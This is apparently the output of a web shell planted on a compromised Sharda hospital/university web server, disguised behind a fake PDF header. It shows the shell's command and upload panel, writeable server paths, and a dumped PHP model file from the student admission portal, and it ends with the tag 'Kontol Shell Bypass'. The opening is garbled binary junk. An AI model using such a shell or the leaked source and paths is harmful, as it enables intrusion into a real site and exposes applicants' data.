%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/student-panel/api/application/models/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/student-panel/api/application/models/User_model.php
<?php 
class User_model extends CI_Model {
	function detail(){
        $dtl=$this->db->get_where("applicants", array('id'=>USER_ID))->row_array();
		if($dtl){
			$dtl['dob']=get_date($dtl['dob']);
			$dtl['state_id']=$dtl['state_id']?$dtl['state_id']:'';
			$dtl['city_id']=$dtl['city_id']?$dtl['city_id']:'';
			$dtl['gender']=$dtl['gender']?$dtl['gender']:'';
			$dtl['cat_id']=$dtl['cat_id']?$dtl['cat_id']:'';
			$dtl['country']=$dtl['country']?$dtl['country']:'';
			$dtl['city']=$dtl['city']?$dtl['city']:'';
			$dtl['nationality']=$dtl['nationality']?$dtl['nationality']:'';
			$dtl['passport_number']=$dtl['passport_number']?$dtl['passport_number']:'';
			$dtl['religion_id']=$dtl['religion_id']?$dtl['religion_id']:'';
			$dtl['profilePicUrl']=$dtl['profile_pic']?UP_URLF.'profile_pics/'.$dtl['profile_pic']:'';

            $dtl['is_medical']=(int)$dtl['is_medical'];
            $dtl['is_phd']=(int)$dtl['is_phd'];
			$dtl['neet_scorecard_file_url']=$dtl['neet_scorecard_file']?UP_URLF.'scorecards/'.$dtl['neet_scorecard_file']:'';
			$dtl['region'] = $dtl['region']?$dtl['region']:'';
			$dtl['agree'] = $dtl['agree']?$dtl['agree']:'';
		}
		return $dtl;
	}

	function eduDetail($forform=false){
		$dtl=$this->db->get_where("applicants_edu_details", array('applicant_id'=>USER_ID))->row_array();
		if($dtl){
			$dtl['board_id_10th']=$dtl['board_id_10th']?$dtl['board_id_10th']:'';
			$dtl['marking_scheme_id_10th']=$dtl['marking_scheme_id_10th']?$dtl['marking_scheme_id_10th']:'';
			$dtl['passing_year_10th']=$dtl['passing_year_10th']?$dtl['passing_year_10th']:'';
			
			if($forform){
				if($dtl['board_id_dip']){
					$dtl['board_id_12th']=$dtl['board_id_dip']?$dtl['board_id_dip']:'';
					$dtl['board_12th']=$dtl['board_dip'];
					$dtl['marking_scheme_id_12th']=$dtl['marking_scheme_id_dip']?$dtl['marking_scheme_id_dip']:'';
					$dtl['marks_12th']=$dtl['marks_dip']?$dtl['marks_dip']:'';
					$dtl['passing_year_12th']=$dtl['passing_year_dip']?$dtl['passing_year_dip']:'';
					$dtl['status_12th']='-';
				}else{
					$dtl['board_id_12th']=$dtl['board_id_12th']?$dtl['board_id_12th']:'';
					$dtl['marking_scheme_id_12th']=$dtl['marking_scheme_id_12th']?$dtl['marking_scheme_id_12th']:'';
					$dtl['passing_year_12th']=$dtl['passing_year_12th']?$dtl['passing_year_12th']:'';
					$dtl['status_dip']='-';
				}
			}else{
				$dtl['board_id_12th']=$dtl['board_id_12th']?$dtl['board_id_12th']:'';
				$dtl['marking_scheme_id_12th']=$dtl['marking_scheme_id_12th']?$dtl['marking_scheme_id_12th']:'';
				$dtl['passing_year_12th']=$dtl['passing_year_12th']?$dtl['passing_year_12th']:'';

				$dtl['board_id_dip']=$dtl['board_id_dip']?$dtl['board_id_dip']:'';
				$dtl['marking_scheme_id_dip']=$dtl['marking_scheme_id_dip']?$dtl['marking_scheme_id_dip']:'';
				$dtl['passing_year_dip']=$dtl['passing_year_dip']?$dtl['passing_year_dip']:'';
			}

			$dtl['university_id_ug']=$dtl['university_id_ug']?$dtl['university_id_ug']:'';
			$dtl['marking_scheme_id_ug']=$dtl['marking_scheme_id_ug']?$dtl['marking_scheme_id_ug']:'';
			$dtl['passing_year_ug']=$dtl['passing_year_ug']?$dtl['passing_year_ug']:'';

			$dtl['university_id_pg']=$dtl['university_id_pg']?$dtl['university_id_pg']:'';
			$dtl['marking_scheme_id_pg']=$dtl['marking_scheme_id_pg']?$dtl['marking_scheme_id_pg']:'';
			$dtl['passing_year_pg']=$dtl['passing_year_pg']?$dtl['passing_year_pg']:'';
		}
		return $dtl;
	}

	function coupans($plan_id, $program_id=0){//9560696566
        //$lpage_id=$this->db->select()->get_where("applicants", array('id'=>USER_ID))->row()->lpage_id;
        $lpage=$this->db->select("lpage")->order_by("id", "DESC")->limit(1)->get_where("applicants_visit_history", ['applicant_id'=>USER_ID])->row()->lpage;
        $str=rtrim(trim($lpage), "/");
        $str=str_replace(array("http://", "https://", "www."), array("", "", ""), $str);
        $lpage_id=$this->db->select("id")->get_where("landing_pages", array('trimed_title'=>$str))->row()->id;
        $state_id=$this->db->select("state_id")->get_where("applicants", ['id'=>USER_ID])->row()->state_id;
        
        $res=$this->db->select("coupan_id")->get_where("coupans_in_use", array('plan_id'=>$plan_id))->result_array();
		if(!$res){
			$res=$this->db->select("coupan_id")->get_where("coupans_in_use", array('program_id'=>$program_id))->result_array();
        }
        if(!$res){
			$res=$this->db->select("coupan_id")->get_where("coupans_in_use", array('state_id'=>$state_id))->result_array();
		}
		if(!$res){
			$res=$this->db->select("coupan_id")->get_where("coupans_in_use", array('lpage_id'=>$lpage_id))->result_array();
        }

		$rs=[];
		if($res){
			$cids=[];
			foreach($res as $r){
				$cids[]=$r['coupan_id'];
			}
			$this->db->where(array('status'=>1, 'expiry_date >='=>date('Y-m-d')))->where_in("id", $cids);
			$rs=$this->db->select("id, title, amt, description, gender")->from("master_coupans")->order_by("disp_odr")->get()->result_array();
			foreach($rs as &$r){
				$r['amt']=(float)$r['amt'];
			}
		}

		return $rs;
	}

	function applicationDtl($appId=0){
		if(!$appId){
			$appId=$this->db->select("id")->order_by("id", "DESC")->limit(1)->get_where("applications", array('applicant_id'=>USER_ID, 'step_completed !='=>3))->row()->id;
		}
		$r=$this->db->select("A.id, A.campus_id, A.applicant_id, A.application_no, A.step_completed, A.fee, A.coupan_used, A.coupan_amt, A.payment_status, A.created, A.susat_appeared_status, A.admission_status, A.contract_status, A.fee_paid_status, P.type_id prg_type_id, P.ac_id, P.discipline_id, P.school_id, P.id AS program_id, A.plan_id, PP.title AS plan, PP.fee AS planAppFee, P.fee AS prgAppFee, P.title AS program, P.image AS progImage, S.brochure AS progBrochure")
			->from("applications AS A")
			->join("master_program_plans AS PP", "A.plan_id=PP.id", "LEFT")
            ->join("master_programs AS P", "PP.program_id=P.id", "LEFT")
            ->join("master_schools AS S", "S.id=P.school_id", "LEFT")
			->where(array('A.id'=>$appId)) //'A.applicant_id'=>USER_ID, 
            ->get()->row_array();
            

		if($r){
			$r['progImageUrl']=$r['progImage']?UP_URLF.'programs_images/'.$r['progImage']:'';
			$r['progBrochureUrl']=$r['progBrochure']?UP_URLF.'brochure/'.$r['progBrochure']:'';
			$r['progBrochureDwnUrl']=$r['progBrochure']?(URL.'common/downloadFile/'.encode(UP_PATHF.'brochure/'.$r['progBrochure'])):'';
			$r['receiptDownloadUrl']=URL.'common/downloadReceipt/'.$appId;
            $r['SuatSlotBookUrl']=SUAT_SLOT_BOOK_URL;
            
            $udtl=$this->db->select("U.mob, U.is_medical, U.is_phd, L.instant_fee, L.title lpage")->from("applicants U")->join("landing_pages L", "L.id=U.lpage_id")->where(['U.id'=>$r['applicant_id']])->get()->row_array();
            $r['is_medical']=(int)$udtl['is_medical'];
            $r['is_phd']=(int)$udtl['is_phd'];
            $r['instant_fee']=(int)$udtl['instant_fee'];

            $r['payment_status']=(int)$r['payment_status'];
			$r['step_completed']=(int)$r['step_completed'];
			
			if($r['step_completed']==3){
				$r['fee']=(float)$r['fee'];
				$r['coupan_amt']=(float)$r['coupan_amt'];
			}else{
				if((float)$r['planAppFee']){
					$r['fee']=(float)$r['planAppFee'];
				}else{
					$r['fee']=(float)$r['prgAppFee'];
				}

				$r['coupan_used']='';
				$r['coupan_amt']=0;
			}

			$f="U.mob, U.gender, L.instant_fee, L.male_fee, L.female_fee, L.other_fee, L.male_offer_fee, L.female_offer_fee, L.other_offer_fee, L.offer_msg, L.title lpage";
			$udtl=$this->db->select($f)->from("applicants U")->join("landing_pages L", "L.id=U.lpage_id")->where(['U.id'=>$r['applicant_id']])->get()->row_array();
            $r['instant_fee']=(int)$udtl['instant_fee'];
            $r['male_fee']=(int)$udtl['male_fee'];
            $r['female_fee']=(int)$udtl['female_fee'];
            $r['other_fee']=(int)$udtl['other_fee'];

			if($r['program_id']==227){//Diploma in Nursing
				$r['instant_fee']=0;
				$r['male_fee']=0;
				$r['female_fee']=0;
				$r['other_fee']=0;
			}

			$r['male_offer_fee']=(int)$udtl['male_offer_fee'];
            $r['female_offer_fee']=(int)$udtl['female_offer_fee'];
            $r['other_offer_fee']=(int)$udtl['other_offer_fee'];
			$r['offer_msg']=$udtl['offer_msg'];

			if(!$this->common->isPhdOrMedical(0, $appId)){
				$state_id=(int)$this->db->select("state_id")->get_where("applicants", ["id"=>$r['applicant_id']])->row("state_id");
				$state_fee=(int)$this->db->select("app_fee")->get_where("master_states", ["id"=>$state_id])->row("app_fee");

				if($state_fee>0){
					$r['offer_msg']=$this->db->select("offer_msg")->get_where("master_states", ["id"=>$state_id])->row("offer_msg");
				}

				if($udtl['gender']==='Male'){
					if($r['male_fee']>0){
						$r['fee']=$r['male_fee'];
					}
					if($state_fee>0){
						$r['fee']=$state_fee;
						$r['old_fee']=$r['male_fee'];
					}else if($r['male_offer_fee']>0){
						$r['fee']=$r['male_offer_fee'];
						$r['old_fee']=$r['male_fee'];
					}
				}
				if($udtl['gender']==='Female'){
					if($r['female_fee']>0){
						$r['fee']=$r['female_fee'];
					}
					if($state_fee>0){
						$r['fee']=$state_fee;
						$r['old_fee']=$r['female_fee'];
					}else if($r['female_offer_fee']>0){
						$r['fee']=$r['female_offer_fee'];
						$r['old_fee']=$r['female_fee'];
					}
				}
				if($udtl['gender']==='Other'){
					if($r['other_fee']>0){
						$r['fee']=$r['other_fee'];
					}
					if($state_fee>0){
						$r['fee']=$state_fee;
						$r['old_fee']=$r['other_fee'];
					}elseif($r['other_offer_fee']>0){
						$r['fee']=$r['other_offer_fee'];
						$r['old_fee']=$r['other_fee'];
					}
				}
			}

			$r['netAmt']=($r['fee']-$r['coupan_amt']);
			$r['created']=get_date($r['created']);
			unset($r['prgAppFee'], $r['planAppFee']);

			$r['coupans']=$this->coupans($r['plan_id'], $r['program_id']);
		}
		return $r;
	}

	function applyingPlanDtl($planId){
        $appId=$this->db->select("id")->get_where("applications", array('applicant_id'=>USER_ID, 'plan_id'=>$planId))->row()->id;
        //echo $this->db->last_query();
		if($appId){
			return $this->applicationDtl($appId);
		}

		$programId=$this->db->select("program_id")->order_by("id")->limit(1)->get_where("applications", array('applicant_id'=>USER_ID))->row()->program_id;
		$r=$this->db->select("PP.id AS plan_id, PP.program_id, PP.title AS plan, PP.fee AS planAppFee, P.fee AS prgAppFee, P.type_id prg_type_id, P.ac_id, P.discipline_id, P.school_id, P.title AS program")
			->from("suggested_plans AS SPP")
			->join("suggested_programs AS SP", "SPP.sug_program_id=SP.id")
			->join("master_program_plans AS PP", "SPP.plan_id=PP.id")
			->join("master_programs AS P", "PP.program_id=P.id")
			->where(array('SP.program_id'=>$programId, 'PP.id'=>$planId))
            ->get()->row_array();
            
		if($r){
			if((float)$r['planAppFee']){
				$r['fee']=(float)$r['planAppFee'];
			}else{
				$r['fee']=(float)$r['prgAppFee'];
			}
			unset($r['planAppFee'], $r['prgAppFee']);
			$r['coupans']=$this->user->coupans($r['plan_id'], $r['program_id']);

            $r['step_completed']=1;
			if($this->db->select("id")->limit(1)->get_where("applications", array('applicant_id'=>USER_ID, 'step_completed >'=>1))->row()->id){
                $r['step_completed']=2;
            }
            $r['payment_status']='0';

            /* $udtl=$this->db->select("U.mob, U.is_medical, U.is_phd, L.instant_fee, L.title lpage")->from("applicants U")->join("landing_pages L", "L.id=U.lpage_id")->where(['U.id'=>USER_ID])->get()->row_array();
            $r['is_medical']=(int)$udtl['is_medical'];
            $r['is_phd']=(int)$udtl['is_phd'];
            $r['instant_fee']=(int)$udtl['instant_fee']; */

			$f="U.mob, U.gender, L.instant_fee, L.male_fee, L.female_fee, L.other_fee, L.male_offer_fee, L.female_offer_fee, L.other_offer_fee, L.offer_msg, L.title lpage";
			$udtl=$this->db->select($f)->from("applicants U")->join("landing_pages L", "L.id=U.lpage_id")->where(['U.id'=>$r['applicant_id']])->get()->row_array();
            $r['instant_fee']=(int)$udtl['instant_fee'];
            $r['male_fee']=(int)$udtl['male_fee'];
            $r['female_fee']=(int)$udtl['female_fee'];
            $r['other_fee']=(int)$udtl['other_fee'];

			if($r['program_id']==227){//Diploma in Nursing
				$r['instant_fee']=0;
				$r['male_fee']=0;
				$r['female_fee']=0;
				$r['other_fee']=0;
			}

            $r['male_offer_fee']=(int)$udtl['male_offer_fee'];
            $r['female_offer_fee']=(int)$udtl['female_offer_fee'];
            $r['other_offer_fee']=(int)$udtl['other_offer_fee'];
			$r['offer_msg']=$udtl['offer_msg'];

			if(!$this->common->isPhdOrMedical()){
				$state_id=(int)$this->db->select("state_id")->get_where("applicants", ["id"=>USER_ID])->row("state_id");
				$state_fee=(int)$this->db->select("app_fee")->get_where("master_states", ["id"=>$state_id])->row("app_fee");

				if($state_fee>0){
					$r['offer_msg']=$this->db->select("offer_msg")->get_where("master_states", ["id"=>$state_id])->row("offer_msg");
				}

				if($udtl['gender']==='Male'){
					if($r['male_fee']>0){
						$r['fee']=$r['male_fee'];
					}
					if($state_fee>0){
						$r['fee']=$state_fee;
						$r['old_fee']=$r['male_fee'];
					}else if($r['male_offer_fee']>0){
						$r['fee']=$r['male_offer_fee'];
						$r['old_fee']=$r['male_fee'];
					}
				}
				if($udtl['gender']==='Female'){
					if($r['female_fee']>0){
						$r['fee']=$r['female_fee'];
					}
					if($state_fee>0){
						$r['fee']=$state_fee;
						$r['old_fee']=$r['female_fee'];
					}else if($r['female_offer_fee']>0){
						$r['fee']=$r['female_offer_fee'];
						$r['old_fee']=$r['female_fee'];
					}
				}
				if($udtl['gender']==='Other'){
					if($r['other_fee']>0){
						$r['fee']=$r['other_fee'];
					}
					if($state_fee>0){
						$r['fee']=$state_fee;
						$r['old_fee']=$r['other_fee'];
					}elseif($r['other_offer_fee']>0){
						$r['fee']=$r['other_offer_fee'];
						$r['old_fee']=$r['other_fee'];
					}
				}
			}

			$r['netAmt']=$r['fee'];
		}
		return $r?$r:[];
	}

	function updatePersonalNdEduDtl($post){
		$err = FALSE;
		$this->db->trans_strict(FALSE);
        $this->db->trans_begin();
		
		try{
			$dtl=$post['dtl'];
			$dtl['id']=USER_ID;
			$this->common->save(replace_null($dtl), "applicants");

			$eduDtl=$post['eduDtl'];
			$eduDtl['applicant_id']=USER_ID;
			$eduId=$this->db->select("id")->get_where("applicants_edu_details", array('applicant_id'=>USER_ID))->row()->id;
			if($eduId){
				$eduDtl['id']=$eduId;
			}
			
            $this->common->save(replace_null($eduDtl), "applicants_edu_details");
            
            $appDtl=$this->db->get_where("applications", ['id'=>$post['application_id']])->row_array();
            if($appDtl['payment_status']){
                $appData=array('id'=>(int)$appDtl['id'], 'step_completed'=>3, 'step3date'=>currentDT(), 'step2date'=>currentDT());
            }else{
                $appData=array('id'=>(int)$appDtl['id'], 'step_completed'=>2, 'step2date'=>currentDT());
            }
            $this->common->save($appData, "applications");
            if($appDtl['payment_status']){
                $this->common->sendStep2CompletedMsgForStep1($appDtl['id']);
                $this->pay->addLeadToPS($appDtl['id']);
            }

			/** Update other application with step_completed=2 */
			$d=array('step_completed'=>2, 'updated'=>currentDT(), 'step2date'=>currentDT());
			$this->db->where(array('applicant_id'=>USER_ID, 'step_completed'=>1))->update("applications", $d);
            
		}catch(Exception $e) {
            $err = TRUE;
            $msg = $e->getMessage();
        }
		
		if($this->db->trans_status() === FALSE) {
            $err = TRUE;
        }
		
		if ($err) {
            $this->db->trans_rollback();
			return FALSE;
        } else {
            $this->db->trans_commit();
			return TRUE;
        }
	}

	function submitApplication($post, $appDtl){
		$err = FALSE;
		$this->db->trans_strict(FALSE);
        $this->db->trans_begin();
		
		try{
			if($appDtl['step_completed']<3){
				$dtl=$post['dtl'];
				//echo "<pre>"; print_r($dtl); die;
				$dtl['id']=USER_ID;
				$this->common->save(replace_null($dtl), "applicants");

				/*$eduDtl=$post['eduDtl'];
				$eduDtl['applicant_id']=USER_ID;
				$eduId=$this->db->select("id")->get_where("applicants_edu_details", array('applicant_id'=>USER_ID))->row()->id;
				if($eduId){
					$eduDtl['id']=$eduId;
				}
				$this->common->save(replace_null($eduDtl), "applicants_edu_details");*/
			}
           /* if($appDtl['payment_status']){
                $appData=array('id'=>(int)$appDtl['id'], 'step_completed'=>3, 'step3date'=>currentDT(), 'step2date'=>currentDT());
            }else{*/
                $appData=array('id'=>(int)$appDtl['id'], 'step_completed'=>2, 'step2date'=>currentDT());
            //}
			if(!$appDtl['id']){
				$num=$this->common->getCounter('application_no_count');
				$appData['application_no']=zero_format_no($num);
                $appData['applicant_id']=USER_ID;
                $appData['campus_id']=$appDtl['campus_id'];
				$appData['ac_id']=$appDtl['ac_id'];
				$appData['program_id']=$appDtl['program_id'];
                $appData['plan_id']=$appDtl['plan_id'];
                $appData['discipline_id']=$appDtl['discipline_id'];
                $appData['school_id']=$appDtl['school_id'];
			}
            $appId=$this->common->save($appData, "applications");
           /* if($appDtl['payment_status']){
                $this->common->sendStep2CompletedMsgForStep1($appId);
                $this->pay->addLeadToPS($appId);
            }*/

			/** Update applicants table for upload 10th & 12th marksheet */
			$documents_data = array('tenth_document' => $appDtl['tenth_document'], 'twth_document' => $appDtl['twth_document']);


			/** Update other application with step_completed=2 */
			$d=array('step_completed'=>2, 'updated'=>currentDT(), 'step2date'=>currentDT());
			$this->db->where(array('applicant_id'=>USER_ID, 'step_completed'=>1))->update("applications", $d);
			$this->db->where(array('id'=>USER_ID))->update("applicants", $documents_data);
            
		}catch(Exception $e) {
            $err = TRUE;
            $msg = $e->getMessage();
        }
		
		if($this->db->trans_status() === FALSE) {
            $err = TRUE;
        }
		
		if ($err) {
            $this->db->trans_rollback();
			return FALSE;
        } else {
            $this->db->trans_commit();
			return $appId;
        }
	}

	/** Report Issue */
	function issueCats(){
		$rs=$this->db->select("id, title")->order_by("disp_odr")->get_where("issues_cats", array('status'=>1))->result_array();
		foreach($rs as &$r){
			$r['issues']=$this->db->select("id, title")->order_by("disp_odr")->get_where("issues", array('status'=>1, 'cat_id'=>$r['id']))->result_array();
		}
		return $rs;
	}

	function reportedIssues(){
		$rs=$this->db->order_by("id", "DESC")->get_where("issues_reported", array('applicant_id'=>USER_ID, 'parent_id'=>0))->result_array();
		foreach($rs as &$r){
			$r['description']=encode_script(nl2br($r['description']));
			$r['created']=get_date($r['created']);
			$r['close_date']=get_date($r['close_date']);
			$r['status_text']=issueStatusLookup($r['status']);
			$r['fileUrl']=$r['file']?UP_URLF.'issues/'.$r['file']:'';

			$r['noOfComments']=(int)$this->db->select("COUNT(id) n")->get_where("issues_reported", array('parent_id'=>$r['id']))->row()->n;
		}
		return $rs;
	}

	function reportedIssueDetail($id){
		$dtl=$this->db->select("I.id, I.cat, I.issue, I.file, I.description, I.created, I.status, I.close_date, A.name, A.email, A.mob")
		->from("issues_reported AS I")
		->join("applicants AS A", "A.id=I.applicant_id")
		->where("I.id", $id)
		->get()->row_array();
		if($dtl){
			$dtl['description']=encode_script(nl2br($dtl['description']));
			$dtl['created']=get_date($dtl['created']);
			$dtl['close_date']=get_date($dtl['close_date']);
			$dtl['status_text']=issueStatusLookup($dtl['status']);
			$dtl['fileUrl']=$dtl['file']?UP_URLF.'issues/'.$dtl['file']:'';

			$dtl['comments']=$this->db->select("I.id, I.description, I.created, U.name AS comment_by, IF(U.id IS NULL, 'OUT', 'IN') AS flg")
						->from("issues_reported AS I")
						->join("users AS U", "I.comment_by_id=U.id", "LEFT")
						->where(array('I.parent_id'=>$dtl['id']))
						->order_by("id")->get()->result_array();
			foreach($dtl['comments'] as &$r){
				$r['description']=encode_script(nl2br($r['description']));
				$r['created']=get_date($r['created'], true);
				if($r['flg']=='OUT'){
					$r['comment_by']='Me';
				}else{
					$r['comment_by']="Sharda University";
				}
			}
		}
		return $dtl;
	}

	/** Schedule Visit */
	function venues(){
        return $this->db->get_where("master_appoint_venues", array('status'=>1))->result_array();
	}
	
	function visitDetail(){
		$dtl=$this->db->get_where("scheduled_visits", array('applicant_id'=>USER_ID))->row_array();
		if($dtl){
			$dtl['appoint_date']=get_date($dtl['appoint_date']);
			$dtl['venue']=$this->db->get_where("master_appoint_venues", array('id'=>$dtl['venue_id']))->row_array();
		}
		return $dtl;
	}

	/** Campus Visit */
	function campusLists(){
		$dt=date('Y-m-d', time());
		$rs=$this->db->select("*")->from("master_campus")->where('status', 1)->order_by("disp_odr")->get()->result_array();
		foreach($rs as &$r){
			$r['image_url']=$r['image']?UP_URLF.'campus/'.$r['image']:'';

			$r['cdates']=$this->db->select("id,campus_id,cdate,times")->get_where("master_campus_dates", array('campus_id'=>$r['id'], 'cdate>'=>$dt))->result_array();
			 foreach($r['cdates'] as &$r1){
				$r1['cdate1']=date('d M Y, l', strtotime($r1['cdate']));
			 	$r1['times']=explode(",", $r1['times']);
			}
		}
		return $rs;
	}

	function campusVisitDetail(){
		$dtl=$this->db->get_where("campus_visits", array('applicant_id'=>USER_ID))->row_array();
		if($dtl){
			$dtl['visit_datetime']=get_date($dtl['visit_datetime'], TRUE);
		}
		return $dtl;
	}
}

//End of file

Kontol Shell Bypass